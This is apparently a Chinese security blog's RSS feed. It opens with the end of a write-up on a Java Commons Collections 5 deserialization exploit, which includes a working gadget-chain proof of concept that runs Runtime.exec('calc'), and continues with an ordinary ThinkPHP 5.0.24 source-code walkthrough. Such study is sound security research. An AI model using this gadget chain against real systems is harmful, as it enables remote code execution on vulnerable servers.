            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            // 调用exec("calc")
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, entry);

        serialize(badAttributeValueExpException);
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>需要注意的是，在声明BadAttributeValueExpException对象时，并没有直接传入entry参数，而是用反射赋值。</p>
<pre><code class="language-java ">BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(entry);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);
</code></pre>
<p>因为BadAttributeValueExpException的构造函数就会判断是否为空，如果不为空在序列化时就会执行toString()，那么反序列化时，因为传入的entry已经是字符串，所以就不会触发toString方法了。</p>
<pre><code class="language-java ">    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }
</code></pre>
<p><img src="/wp-content/uploads/2020/01/20200119192839.png" alt="20200119192839" /></p>
<h1>总结</h1>
<p>这里抄一下ysoserial的 <code>Gadget chain</code></p>
<pre><code class="language-java ">/*
    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
    Requires:
        commons-collections
 */
</code></pre>
<p>个人觉得这个洞最经典的地方还是在<code>InvokerTransformer</code>的rce构造，着实考验对反射的理解和运用。</p>
<p>参考链接：<br />
&#8211; https://www.xmanblog.net/java-deserialize-apache-commons-collections/<br />
&#8211; https://www.freebuf.com/vuls/175252.html<br />
&#8211; https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Thinkphp 源码阅读</title>
		<link>/audit/1102.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 27 Nov 2019 15:28:21 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[thinkphp]]></category>
		<guid isPermaLink="false">/?p=1102</guid>

					<description><![CDATA[看明白thinkphp5框架是怎么实现的 环境 thinkphp5.0.24 "require": { "php": "&#62;=5.4.0", "topthink/framewo...]]></description>
										<content:encoded><![CDATA[<p>看明白<span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>5框架是怎么实现的</p>
<h1>环境</h1>
<p>thinkphp5.0.24</p>
<pre><code class="language-php ">"require": {
    "php": "&gt;=5.4.0",
    "topthink/framework": "5.0.*"
},
</code></pre>
<h1>目录结构</h1>
<pre><code class="">thinkphp/                     根目录
    /application              应用目录 
        /index                应用index模块目录 
    command.php               命令行命令配置目录
    config.php                应用配置文件
    databse.php               应用数据库配置文件
    route.php                 应用路由配置文件

    /public                   入口目录
        /static               静态资源目录
        .htacess              apache服务器配置
        index.php             默认入口文件
        robots.txt            爬虫协议文件
        router.php            php命令行服务器入口文件

    /vendor                   composer安装目录  
    build.php                 默认自动生成配置文件
    composer.json             composer安装配置文件
    console                   控制台入口文件

/vendor/topthink/framework    框架核心目录
        /extend               框架扩展目录
        /lang                 框架语言目录
        /library              框架核心目录
        /mode                 框架模式目录
        /tests                框架测试目录
        /tpl                  框架模板目录
        /vendor               第三方目录
        base.php              全局常量文件
        convention.php        全局配置文件
        helper.php            辅助函数文件
        start.php             框架引导入口
        think.php             框架引导文件
</code></pre>
<h1>框架引导start.php</h1>
<p>thinkphp为单程序入口，这是mvc框架的特征，程序的入口在public目录下的index.php</p>
<pre><code class="language-php ">// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
</code></pre>
<p><code>require</code>引入thinkphp的<code>start.php</code></p>
<pre><code class="language-php ">// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()-&gt;send();
</code></pre>
<p>在<code>base.php(thinkphp/base.php)</code>中定义了一些常量，比如<code>ROOT_PATH</code>、<code>RUNTIME_PATH</code>、<code>LOG_PATH</code>等等，然后引入<code>Loader</code>类来自动加载</p>
<pre><code class="language-php ">thinkphp/base.php:37
// 载入Loader类
require CORE_PATH . 'Loader.php';
</code></pre>
<p>然后在下面通过<code>.env</code>文件putenv环境变量，最后</p>
<pre><code class="language-php ">// 注册自动加载
thinkLoader::register();

// 注册错误和异常处理机制
thinkError::register();

// 加载惯例配置文件
thinkConfig::set(include THINK_PATH . 'convention' . EXT);
</code></pre>
<p>在<code>thinkLoader::register()</code>中，使用<code>thinkLoader::autoload</code>注册自动加载</p>
<pre><code class="language-php ">spl_autoload_register($autoload ?: 'think\Loader::autoload', true, true);
</code></pre>
<blockquote><p>
  当PHP引擎遇到试图实例化未知类的操作时，会调用<code>__autoload()</code>方法，并将类名当做字符串参数传递给它。<code>spl_autoload_register</code>会将多个<code>autoload</code>函数以数列的形式依次调用注册。
</p></blockquote>
<p><code>autoload()</code>的定义，通过名字来引入类</p>
<pre><code class="language-php ">public static function autoload($class)
{
    // 检测命名空间别名
    if (!empty(self::$namespaceAlias)) {
        $namespace = dirname($class);
        if (isset(self::$namespaceAlias[$namespace])) {
            $original = self::$namespaceAlias[$namespace] . '\' . basename($class);
            if (class_exists($original)) {
                return class_alias($original, $class, false);
            }
        }
    }

    if ($file = self::findFile($class)) {
        // 非 Win 环境不严格区分大小写
        if (!IS_WIN || pathinfo($file, PATHINFO_FILENAME) == pathinfo(realpath($file), PATHINFO_FILENAME)) {
            __include_file($file);
            return true;
        }
    }

    return false;
}
</code></pre>
<p>注册命名空间定义</p>
<pre><code class="language-php ">self::addNamespace([
    'think'    =&gt; LIB_PATH . 'think' . DS,
    'behavior' =&gt; LIB_PATH . 'behavior' . DS,
    'traits'   =&gt; LIB_PATH . 'traits' . DS,
]);
</code></pre>
<p>加载类库映射文件</p>
<pre><code class="language-php ">if (is_file(RUNTIME_PATH . 'classmap' . EXT)) {
    self::addClassMap(__include_file(RUNTIME_PATH . 'classmap' . EXT));
}
</code></pre>
<p>注册错误和异常处理机制<code>thinkError::register()</code></p>
<pre><code class="language-php ">public static function register()
{
    error_reporting(E_ALL);
    set_error_handler([__CLASS__, 'appError']);
    set_exception_handler([__CLASS__, 'appException']);
    register_shutdown_function([__CLASS__, 'appShutdown']);
}
</code></pre>
<p>将错误、异常、中止时分别交由<code>appError</code>、<code>appException</code>、<code>appShutdown</code> 处理，这三个函数在<code>thinkphp/library/think/Error.php</code> 定义。</p>
<p>接着是加载惯例配置文件</p>
<pre><code class="language-php ">thinkConfig::set(include THINK_PATH . 'convention' . EXT);
</code></pre>
<p>也就是包含<code>thinkphp/convention.php</code>这个配置文件，将配置作为数组变量传入<code>thinkphp/library/think/Config.php:160</code></p>
<p><img src="https://y4er.com/img/uploads/20191127227573.jpg" alt="image" /><br />
可以通过字符串、数组的形式赋值。配置完之后返回 <code>thinkphp/start.php:19</code> 启动程序</p>
<pre><code class="language-php ">// 2. 执行应用
App::run()-&gt;send();
</code></pre>
<h2>小结</h2>
<p>thinkphp通过<code>start.php</code>引入的<code>base.php</code>定义文件夹等系统常量，然后引入<code>Loader</code>来加载任意类，通过自动加载使用<code>Error</code>类注册错误处理，以及<code>Config</code>类加载模式配置文件<code>thinkphp/convention.php</code>。做好一系列准备工作之后，执行应用 <code>App::run()-&gt;send()</code></p>
<h1>应用启动App::run()</h1>
<p>在上文加载完配置等一系列工作之后，进入<code>App::run()</code>，在<code>run()</code>方法中<br />
首先拿到<code>Request</code>的一个实例，然后调用<code>$config = self::initCommon()</code>初始化公共配置</p>
<pre><code class="language-php ">public static function initCommon()
{
    if (empty(self::$init)) {
        if (defined('APP_NAMESPACE')) {
            self::$namespace = APP_NAMESPACE;
        }

        Loader::addNamespace(self::$namespace, APP_PATH);

        // 初始化应用
        $config = self::init();
        self::$suffix = $config['class_suffix'];

        // 应用调试模式
        self::$debug = Env::get('app_debug', Config::get('app_debug'));

        if (!self::$debug) {
            ini_set('display_errors', 'Off');
        } elseif (!IS_CLI) {
            // 重新申请一块比较大的 buffer
            if (ob_get_level() &gt; 0) {
                $output = ob_get_clean();
            }

            ob_start();

            if (!empty($output)) {
                echo $output;
            }

        }

        if (!empty($config['root_namespace'])) {
            Loader::addNamespace($config['root_namespace']);
        }

        // 加载额外文件
        if (!empty($config['extra_file_list'])) {
            foreach ($config['extra_file_list'] as $file) {
                $file = strpos($file, '.') ? $file : APP_PATH . $file . EXT;
                if (is_file($file) &amp;&amp; !isset(self::$file[$file])) {
                    include $file;
                    self::$file[$file] = true;
                }
            }
        }

        // 设置系统时区
        date_default_timezone_set($config['default_timezone']);

        // 监听 app_init
        Hook::listen('app_init');

        self::$init = true;
    }

    return Config::get();
}
</code></pre>
<p>先<code>Loader::addNamespace(self::$namespace, APP_PATH)</code>添加app所在的命名空间，然后初始化应用<code>$config = self::init()</code>，然后根据<code>self::$debug</code>决定是否将debug信息写入缓冲区，然后根据<code>$config['extra_file_list']</code>的配置来加载额外的配置文件，然后设置时区，<code>hook</code>回调<code>app_init</code>，最后无参数调用<code>Config::get()</code>返回所有全局配置</p>
<pre><code class="language-php ">//thinkphp/library/think/Config.php:120
// 无参数时获取所有
if (empty($name) &amp;&amp; isset(self::$config[$range])) {
    return self::$config[$range];
}
</code></pre>
<p>初始化应用<code>self::init()</code>的时候</p>
<pre><code class="language-php ">private static function init($module = '')
{
    // 定位模块目录
    $module = $module ? $module . DS : '';

    // 加载初始化文件
    if (is_file(APP_PATH . $module . 'init' . EXT)) {
        include APP_PATH . $module . 'init' . EXT;
    } elseif (is_file(RUNTIME_PATH . $module . 'init' . EXT)) {
        include RUNTIME_PATH . $module . 'init' . EXT;
    } else {
        // 加载模块配置
        $config = Config::load(CONF_PATH . $module . 'config' . CONF_EXT);

        // 读取数据库配置文件
        $filename = CONF_PATH . $module . 'database' . CONF_EXT;
        Config::load($filename, 'database');

        // 读取扩展配置文件
        if (is_dir(CONF_PATH . $module . 'extra')) {
            $dir = CONF_PATH . $module . 'extra';
            $files = scandir($dir);
            foreach ($files as $file) {
                if ('.' . pathinfo($file, PATHINFO_EXTENSION) === CONF_EXT) {
                    $filename = $dir . DS . $file;
                    Config::load($filename, pathinfo($file, PATHINFO_FILENAME));
                }
            }
        }

        // 加载应用状态配置
        if ($config['app_status']) {
            Config::load(CONF_PATH . $module . $config['app_status'] . CONF_EXT);
        }

        // 加载行为扩展文件
        if (is_file(CONF_PATH . $module . 'tags' . EXT)) {
            Hook::import(include CONF_PATH . $module . 'tags' . EXT);
        }

        // 加载公共文件
        $path = APP_PATH . $module;
        if (is_file($path . 'common' . EXT)) {
            include $path . 'common' . EXT;
        }

        // 加载当前模块语言包
        if ($module) {
            Lang::load($path . 'lang' . DS . Request::instance()-&gt;langset() . EXT);
        }
    }

    return Config::get();
}
</code></pre>
<p>根据传入的<code>$module</code>判断是模块还是整个应用需要初始化，如果是模块就包含<code>APP_PATH . $module . 'init' . EXT</code>，也就是<code>/application/init.php</code>，如果没传<code>module</code>就包含<code>application/config.php</code>，然后就是加载一些配置文件和语言包。</p>
<p>其实<code>self::initCommon()</code>就是为了拿到全局的配置参数，继续看<code>run</code>方法。<br />
在拿到全局配置<code>$config = self::initCommon();</code>之后，然后根据<code>auto_bind_module</code>和<code>BIND_MODULE</code>两个常量来决定是否需要自动绑定模块，绑定完之后进行了</p>
<pre><code class="language-php ">$request-&gt;filter($config['default_filter'])
</code></pre>
<p>设置当前的过滤规则，然后加载语言，监听<code>app_dispatch</code>应用调度，获取应用调度信息，如果应用调度信息<code>$dispatch</code>为空，则进行<code>路由check</code> <code>$dispatch = self::routeCheck($request, $config)</code>，路由check太多了，我拿出来写，然后记录当前调度信息<code>$request-&gt;dispatch($dispatch)</code>，根据debug写日志，最后检查缓存之后执行了<code>exec</code>函数拿到<code>$data</code>作为<code>response</code>的值，返回<code>response</code>，而<code>exec()</code>才是真正的应用调度函数，会根据<code>$dispatch</code>的值来进入不同的调度模式，也单独拿出来说，至此App.php中就走完了，然后经过<code>thinkphp/start.php</code>的<code>send()</code>发送到客户端。</p>
<h2>小结</h2>
<p><code>App::run()</code>是thinkphp程序的主要核心，在其中进行了初始化应用配置&#8211;>模块/控制器绑定&#8211;>加载语言包&#8211;>路由检查&#8211;>DEBUG记录&#8211;>exec()应用调度&#8211;>输出客户端，简单画了一个流程图<br />
<img src="/wp-content/uploads/2019/11/20191127226243.jpg" alt="image" /></p>
<h1>路由检查self::routeCheck()</h1>
<p>上文中我们说过，在未设置调度信息会进行URL路由检测</p>
<pre><code class="language-php ">if (empty($dispatch)) {
    $dispatch = self::routeCheck($request, $config);
}
</code></pre>
<p>跟进看下定义</p>
<pre><code class="language-php ">public static function routeCheck($request, array $config)
{
    $path = $request-&gt;path();
    $depr = $config['pathinfo_depr'];
    $result = false;

    // 路由检测
    $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
    if ($check) {
        // 开启路由
        if (is_file(RUNTIME_PATH . 'route.php')) {
            // 读取路由缓存
            $rules = include RUNTIME_PATH . 'route.php';
            is_array($rules) &amp;&amp; Route::rules($rules);
        } else {
            $files = $config['route_config_file'];
            foreach ($files as $file) {
                if (is_file(CONF_PATH . $file . CONF_EXT)) {
                    // 导入路由配置
                    $rules = include CONF_PATH . $file . CONF_EXT;
                    is_array($rules) &amp;&amp; Route::import($rules);
                }
            }
        }

        // 路由检测（根据路由定义返回不同的URL调度）
        $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
        $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

        if ($must &amp;&amp; false === $result) {
            // 路由无效
            throw new RouteNotFoundException();
        }
    }

    // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
    if (false === $result) {
        $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
    }

    return $result;
}
</code></pre>
<p>首先<code>$path</code>是<code>request</code>实例拿到的<code>uri</code>路径，注意是从<code>public</code>目录开始的uri路径，<code>$depr</code>是config.php中定义的<code>pathinfo</code>分隔符，然后进入if语句块，如果有路由缓存会读路由缓存，没有的话会读<code>/application/route.php</code>导入路由，经过<code>Route::check()</code>后，会拿<code>$config['url_route_must']</code>来判断是否是强路由</p>
<pre><code class="language-php ">// 是否强制使用路由
'url_route_must'         =&gt; false,
</code></pre>
<p>如果是强路由会抛出<code>throw new RouteNotFoundException()</code> 异常，如果没有开启强路由会进入<code>Route::parseUrl($path, $depr, $config['controller_auto_search'])</code>自动解析<code>模块/控制器/操作/参数</code></p>
<p>先跟进到<code>Route::check()</code>康康</p>
<pre><code class="language-php ">public static function check($request, $url, $depr = '/', $checkDomain = false)
{
    //检查解析缓存
    if (!App::$debug &amp;&amp; Config::get('route_check_cache')) {
        $key = self::getCheckCacheKey($request);
        if (Cache::has($key)) {
            list($rule, $route, $pathinfo, $option, $matches) = Cache::get($key);
            return self::parseRule($rule, $route, $pathinfo, $option, $matches, true);
        }
    }

    // 分隔符替换 确保路由定义使用统一的分隔符
    $url = str_replace($depr, '|', $url);

    if (isset(self::$rules['alias'][$url]) || isset(self::$rules['alias'][strstr($url, '|', true)])) {
        // 检测路由别名
        $result = self::checkRouteAlias($request, $url, $depr);
        if (false !== $result) {
            return $result;
        }
    }
    $method = strtolower($request-&gt;method());
    // 获取当前请求类型的路由规则
    $rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
    // 检测域名部署
    if ($checkDomain) {
        self::checkDomain($request, $rules, $method);
    }
    // 检测URL绑定
    $return = self::checkUrlBind($url, $rules, $depr);
    if (false !== $return) {
        return $return;
    }
    if ('|' != $url) {
        $url = rtrim($url, '|');
    }
    $item = str_replace('|', '/', $url);
    if (isset($rules[$item])) {
        // 静态路由规则检测
        $rule = $rules[$item];
        if (true === $rule) {
            $rule = self::getRouteExpress($item);
        }
        if (!empty($rule['route']) &amp;&amp; self::checkOption($rule['option'], $request)) {
            self::setOption($rule['option']);
            return self::parseRule($item, $rule['route'], $url, $rule['option']);
        }
    }

    // 路由规则检测
    if (!empty($rules)) {
        return self::checkRoute($request, $rules, $url, $depr);
    }
    return false;
}
</code></pre>
<p>首先检查路由缓存，默认config.php中是不开启路由缓存的，然后检测路由别名</p>
<pre><code class="language-php ">private static $rules = [
    'get'     =&gt; [],
    'post'    =&gt; [],
    'put'     =&gt; [],
    'delete'  =&gt; [],
    'patch'   =&gt; [],
    'head'    =&gt; [],
    'options' =&gt; [],
    '*'       =&gt; [],
    'alias'   =&gt; [],
    'domain'  =&gt; [],
    'pattern' =&gt; [],
    'name'    =&gt; [],
];
</code></pre>
<p>如果路由存在别名会进入<code>checkRouteAlias()</code>，在这个函数内会直接进入到路由对应的模块/控制器/操作。如果不存在别名会继续检查，然后是获取当前请求类型的路由规则->检测域名部署<code>checkDomain()</code>->检测URL绑定<code>checkUrlBind()</code>，然后会判断是否是静态路由，如果是会返回<code>parseRule()</code>，不然返回<code>self::checkRoute($request, $rules, $url, $depr)</code>。</p>
<p>在这里我要提一手thinkphp的<a href="https://www.kancloud.cn/manual/thinkphp5/118037">多种路由定义</a></p>
<table>
<thead>
<tr>
<th>定义方式</th>
<th>定义格式</th>
</tr>
</thead>
<tbody>
<tr>
<td>方式1：路由到模块/控制器</td>
<td>&#8216;[模块/控制器/操作]?额外参数1=值1&amp;额外参数2=值2&#8230;&#8217;</td>
</tr>
<tr>
<td>方式2：路由到重定向地址</td>
<td>&#8216;外部地址&#8217;（默认301重定向） 或者 [&#8216;外部地址&#8217;,&#8217;重定向代码&#8217;]</td>
</tr>
<tr>
<td>方式3：路由到控制器的方法</td>
<td>&#8216;@[模块/控制器/]操作&#8217;</td>
</tr>
<tr>
<td>方式4：路由到类的方法</td>
<td>&#8216;完整的命名空间类::静态方法&#8217; 或者 &#8216;完整的命名空间类@动态方法&#8217;</td>
</tr>
<tr>
<td>方式5：路由到闭包函数</td>
<td>闭包函数定义（支持参数传入）</td>
</tr>
</tbody>
</table>
<p>因为多种路由模式的支持，所以程序的流程也不尽相同，我这里只分析第一种<code>模块/控制器/操作</code>的形式。再看<code>App::routeCheck()</code>，如果不是route.php定义的路由并且没有开启强路由会开始自动搜索控制器</p>
<pre><code class="language-php ">// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
    $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
</code></pre>
<p>最终程序会进入<code>parseUrl()</code>来解析url，在<code>parseUrl()</code>中会解析url参数<code>parseUrlParams()</code>，这两个函数就不分析了，就是单纯的分割参数存储数组，最后会return一个<code>['type' =&gt; 'module', 'module' =&gt; $route]</code><br />
说的不是很明白，我这边直接访问</p>
<pre><code class="">http://php.local/public/index.php?s=index/index/index/id/1
</code></pre>
<p>那么可以看到parseUrl()返回的就是一个数组，数组中存放着模块控制器/操作<br />
<img src="/wp-content/uploads/2019/11/20191127226106.jpg" alt="image" /><br />
那么<code>routeCheck()</code>返回的<code>$result</code>会作为<code>thinkphp/library/think/App.php:116</code>的<code>$dispatch</code>的值，进入到<code>exec()</code>的应用调度中。</p>
<h2>小结</h2>
<p>又臭又长的文字不如一张图<br />
<img src="/wp-content/uploads/2019/11/20191127221167.jpg" alt="image" /></p>
<h1>应用调度App::exec()</h1>
<p>我们上文提到了<code>routeCheck()</code>返回的<code>$dispatch</code>会进入到<code>exec()</code>函数中</p>
<pre><code class="language-php ">protected static function exec($dispatch, $config)
{
    switch ($dispatch['type']) {
        case 'redirect': // 重定向跳转
            $data = Response::create($dispatch['url'], 'redirect')
                -&gt;code($dispatch['status']);
            break;
        case 'module': // 模块/控制器/操作
            $data = self::module(
                $dispatch['module'],
                $config,
                isset($dispatch['convert']) ? $dispatch['convert'] : null
            );
            break;
        case 'controller': // 执行控制器操作
            $vars = array_merge(Request::instance()-&gt;param(), $dispatch['var']);
            $data = Loader::action(
                $dispatch['controller'],
                $vars,
                $config['url_controller_layer'],
                $config['controller_suffix']
            );
            break;
        case 'method': // 回调方法
            $vars = array_merge(Request::instance()-&gt;param(), $dispatch['var']);
            $data = self::invokeMethod($dispatch['method'], $vars);
            break;
        case 'function': // 闭包
            $data = self::invokeFunction($dispatch['function']);
            break;
        case 'response': // Response 实例
            $data = $dispatch['response'];
            break;
        default:
            throw new InvalidArgumentException('dispatch type not support');
    }

    return $data;
}
</code></pre>
<p>在这个方法中会根据不同的<code>$dispatch['type']</code>调度类型来进行区别处理，其中除了<code>redirect</code>和<code>response</code>之外的case语句块都会调用App内的静态方法通过反射实现调用模块/控制器/操作</p>
<pre><code class="">module调度类型的self::module() -&gt; self::invokeMethod()
controller调度类型的Loader::action() -&gt; 进入App::invokeMethod()
method调度类型的self::invokeMethod()
function调度类型的self::invokeFunction()
</code></pre>
<p>看定义<code>invokeMethod()</code></p>
<pre><code class="language-php ">public static function invokeMethod($method, $vars = [])
{
    if (is_array($method)) {
        $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
        $reflect = new ReflectionMethod($class, $method[1]);
    } else {
        // 静态方法
        $reflect = new ReflectionMethod($method);
    }

    $args = self::bindParams($reflect, $vars);

    self::$debug &amp;&amp; Log::record('[ RUN ] ' . $reflect-&gt;class . '-&gt;' . $reflect-&gt;name . '[ ' . $reflect-&gt;getFileName() . ' ]', 'info');

    return $reflect-&gt;invokeArgs(isset($class) ? $class : null, $args);
}
</code></pre>
<p>在<code>invokeMethod()</code>中，创建反射方法<code>$reflect = new ReflectionMethod($class, $method[1]);</code>，获取反射函数<code>$args = self::bindParams($reflect, $vars);</code>，接着记录日志后调用<code>$reflect-&gt;invokeArgs(isset($class) ? $class : null, $args);</code>反射调用<code>模块/控制器/操作</code>中的<code>操作</code>。</p>
<p>为了方便解释我在index控制器创建了<code>hello</code>方法</p>
<pre><code class="language-php ">public function hello($name)
{
    return 'hello' . $name;
}
</code></pre>
<p>然后访问</p>
<pre><code class="language-php ">http://php.local/public/index.php?s=index/index/hello/name/aaa
</code></pre>
<p>此时模块调度进入<code>module</code>的case语句</p>
<pre><code class="language-php ">case 'module': // 模块/控制器/操作
    $data = self::module(
        $dispatch['module'],
        $config,
        isset($dispatch['convert']) ? $dispatch['convert'] : null
    );
    break;
</code></pre>
<p>在<code>module</code>方法中<br />
<img src="/wp-content/uploads/2019/11/20191127220682.jpg" alt="image" /><br />
最后return的是就是我们的<code>hello</code>方法，但是此时的参数是空的，而我们传入有<code>name=aaa</code>参数，那么这个参数在哪赋值的呢？跟进反射看看<br />
<img src="/wp-content/uploads/2019/11/20191127226672.jpg" alt="image" /><br />
在339行，<code>$args = self::bindParams($reflect, $vars)</code>作为<code>invokeArgs()</code>的反射参数</p>
<pre><code class="language-php ">private static function bindParams($reflect, $vars = [])
{
    // 自动获取请求变量
    if (empty($vars)) {
        $vars = Config::get('url_param_type') ?
            Request::instance()-&gt;route() :
        Request::instance()-&gt;param();
    }

    $args = [];
    if ($reflect-&gt;getNumberOfParameters() &gt; 0) {
        // 判断数组类型 数字数组时按顺序绑定参数
        reset($vars);
        $type = key($vars) === 0 ? 1 : 0;

        foreach ($reflect-&gt;getParameters() as $param) {
            $args[] = self::getParamValue($param, $vars, $type);
        }
    }

    return $args;
}
</code></pre>
<p><code>args</code>会从<code>Request::instance()-&gt;route()</code>或者<code>Request::instance()-&gt;param();</code>获取，也就是request中获取。这样就实现了从url中达到动态调用<code>模块/控制器/操作</code>的目的。</p>
<h2>小结</h2>
<p>应用调度就是这样完成他的使命，一个switch语句判断<code>$dispatch['type']</code>，然后进入不同的处理，如果实现业务逻辑则会通过反射类调用相应的<code>模块/控制器/操作</code>函数，拿到操作返回的数据之后整个exec()函数就结束了。最终继续执行App::run()方法返回response对象，进入send()方法返回给客户端，整个流程结束。</p>
<h1>请求处理Request类</h1>
<p>请求类处于<code>thinkphp/library/think/Request.php</code>，众所周知的是thinkphp有<a href="https://www.kancloud.cn/manual/thinkphp5/144731">助手函数input()</a>来获取请求参数，本节说一下thinkphp中具体怎么实现的。</p>
<p>我们先来给一个控制器来做演示</p>
<pre><code class="language-php ">public function hello($name)
{
    if(input('?name')){
        var_dump(input('?name'));
        return input('name');
    }else{
        return '没有设置name参数!';
    }
}
</code></pre>
<p>助手函数input()可以这么写：</p>
<pre><code class="language-php ">input('param.name');
input('param.');
或者
input('name');
input('');
</code></pre>
<p>判断有没有传递某个参数可以用</p>
<pre><code class="language-php ">input('?get.id');
input('?post.name');
</code></pre>
<p>我们打断点跟进下，进入到<code>thinkphp/helper.php:121</code></p>
<pre><code class="language-php ">function input($key = '', $default = null, $filter = '')
{
    if (0 === strpos($key, '?')) {
        $key = substr($key, 1);
        $has = true;
    }
    if ($pos = strpos($key, '.')) {
        // 指定参数来源
        list($method, $key) = explode('.', $key, 2);
        if (!in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {
            $key    = $method . '.' . $key;
            $method = 'param';
        }
    } else {
        // 默认为自动判断
        $method = 'param';
    }
    if (isset($has)) {
        return request()-&gt;has($key, $method, $default);
    } else {
        return request()-&gt;$method($key, $default, $filter);
    }
}
</code></pre>
<p>第一个if是为了来判断是否传递某个参数</p>
<pre><code class="language-php ">input('?get.id');
input('?post.name');
</code></pre>
<p>这种写法，会进入<code>request()-&gt;has($key, $method, $default)</code>，<code>request()</code>方法会返回一个<code>request</code>类的实例</p>
<pre><code class="language-php ">function request()
{
    return Request::instance();
}
</code></pre>
<p><code>has()</code>方法会返回一个布尔值来决定是否传递了这个参数</p>
<pre><code class="language-php ">public function has($name, $type = 'param', $checkEmpty = false)
{
    if (empty($this-&gt;$type)) {
        $param = $this-&gt;$type();
    } else {
        $param = $this-&gt;$type;
    }
    // 按.拆分成多维数组进行判断
    foreach (explode('.', $name) as $val) {
        if (isset($param[$val])) {
            $param = $param[$val];
        } else {
            return false;
        }
    }
    return ($checkEmpty &amp;&amp; '' === $param) ? false : true;
}
</code></pre>
<p><img src="/wp-content/uploads/2019/11/20191127229511.jpg" alt="image" /><br />
此时访问</p>
<pre><code class="">http://php.local/public/index.php?s=index/index/hello/name/aaa
</code></pre>
<p>页面则会返回<br />
<img src="/wp-content/uploads/2019/11/20191127227535.jpg" alt="image" /><br />
到此只是判断某个参数是否存在，是<code>input('?name')</code>这种语法，我们继续跟进<code>input('name')</code>这种语法，他会进入</p>
<pre><code class="language-php ">return request()-&gt;$method($key, $default, $filter);
</code></pre>
<p>当没有包含<code>?</code>或<code>.</code>时，</p>
<pre><code class="">input('?name')
input('?get.name')
</code></pre>
<p>会进入<code>request()-&gt;$method($key, $default, $filter)</code>，此时会进入的就是request类中的<code>param()</code>方法，跟进</p>
<pre><code class="language-php ">public function param($name = '', $default = null, $filter = '')
{
    if (empty($this-&gt;mergeParam)) {
        $method = $this-&gt;method(true);
        // 自动获取请求变量
        switch ($method) {
            case 'POST':
                $vars = $this-&gt;post(false);
                break;
            case 'PUT':
            case 'DELETE':
            case 'PATCH':
                $vars = $this-&gt;put(false);
                break;
            default:
                $vars = [];
        }
        // 当前请求参数和URL地址中的参数合并
        $this-&gt;param = array_merge($this-&gt;param, $this-&gt;get(false), $vars, $this-&gt;route(false));
        $this-&gt;mergeParam = true;
    }
    if (true === $name) {
        // 获取包含文件上传信息的数组
        $file = $this-&gt;file();
        $data = is_array($file) ? array_merge($this-&gt;param, $file) : $this-&gt;param;
        return $this-&gt;input($data, '', $default, $filter);
    }
    return $this-&gt;input($this-&gt;param, $name, $default, $filter);
}
</code></pre>
<p><code>param()</code>方法会将原生<code>$_GET</code>、<code>$_POST</code>等全局数组的参数合并到<code>$this-&gt;param</code>，然后进入<code>$this-&gt;input()</code></p>
<pre><code class="language-php ">public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }
    $name = (string)$name;
    if ('' != $name) {
        // 解析name
        if (strpos($name, '/')) {
            list($name, $type) = explode('/', $name);
        } else {
            $type = 's';
        }
        // 按.拆分成多维数组进行判断
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                // 无输入数据，返回默认值
                return $default;
            }
        }
        if (is_object($data)) {
            return $data;
        }
    }

    // 解析过滤器
    $filter = $this-&gt;getFilter($filter, $default);

    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    } else {
        $this-&gt;filterValue($data, $name, $filter);
    }

    if (isset($type) &amp;&amp; $data !== $default) {
        // 强制类型转换
        $this-&gt;typeCast($data, $type);
    }
    return $data;
}
</code></pre>
